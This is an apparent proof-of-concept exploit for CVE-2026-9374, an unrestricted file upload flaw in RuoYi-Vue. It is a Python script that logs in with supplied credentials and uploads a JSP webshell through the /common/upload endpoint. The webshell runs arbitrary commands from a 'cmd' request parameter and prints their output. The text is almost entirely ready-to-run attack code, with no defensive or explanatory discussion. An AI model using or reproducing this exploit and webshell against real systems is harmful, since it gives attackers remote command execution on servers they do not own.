CVE-2026-9374 若依RuoYi-Vue文件上传漏洞

import requests import sys # CVE-2026-9374 PoC - RuoYi-Vue Unrestricted File Upload # Target: /common/upload endpoint def upload_webshell(target_url, username, password): """ Upload a JSP webshell to vulnerable RuoYi-Vue instance """ # Login to get session cookie login_url = f"{target_url}/login" login_data = { "username": username, "password": password } session = requests.Session() login_resp = session.post(login_url, json=login_data) if login_resp.status_code != 200: print(f"[-] Login failed") return None # JSP webshell content webshell = '''<%@ page import="java.util.*,java.io.*"%><%if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } }%>''' # File upload request upload_url = f"{target_url}/common/upload" files = { "file": ("shell.jsp", webshell, "application/octet-stream") } try: upload_resp = session.post(upload_url, files=files) if upload_resp.status_code == 200: print(f"[+] Webshell uploaded successfully!") print(f"[+] Access: {upload_resp.text}") return True except Exception as e: print(f"[-] Upload failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] upload_webshell(target, user, pwd)